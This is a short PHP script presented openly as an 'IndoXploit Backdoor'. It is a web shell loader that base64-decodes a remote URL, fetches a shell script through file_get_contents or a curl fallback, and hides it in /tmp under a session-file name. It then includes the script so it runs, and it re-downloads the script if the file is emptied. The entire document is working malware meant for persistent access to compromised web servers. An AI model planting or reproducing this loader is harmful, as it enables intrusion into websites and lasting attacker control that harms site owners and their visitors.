Bypass 406 Not Acceptable & Auto Delete Shell

<?php
# IndoXploit Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell
# Coded by: L0c4lh34rtz - IndoXploit

$URL = 'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2FndXNzZXR5YXIvaWR4c2hlbGx2My9tYXN0ZXIvaW5kb3hwbG9pdC5waHAK';  # Backdoor URL
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!

function M() {
    $FGT = file_get_contents(base64_decode($GLOBALS['URL']));
    if(!$FGT) {
        echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) >> {$GLOBALS['TMP']}`;
    } else {
        $HANDLE = fopen($GLOBALS['TMP'], 'w');
        fwrite($HANDLE, $FGT);
        fclose($HANDLE);
    }
    echo '<script>window.location="?indoxploit";</script>';
}

if(file_exists($TMP)) {
    if(filesize($TMP) === 0) {
        unlink($TMP);
        M();
    } else {
        include($TMP);
    }
} else {
    M();
}
?>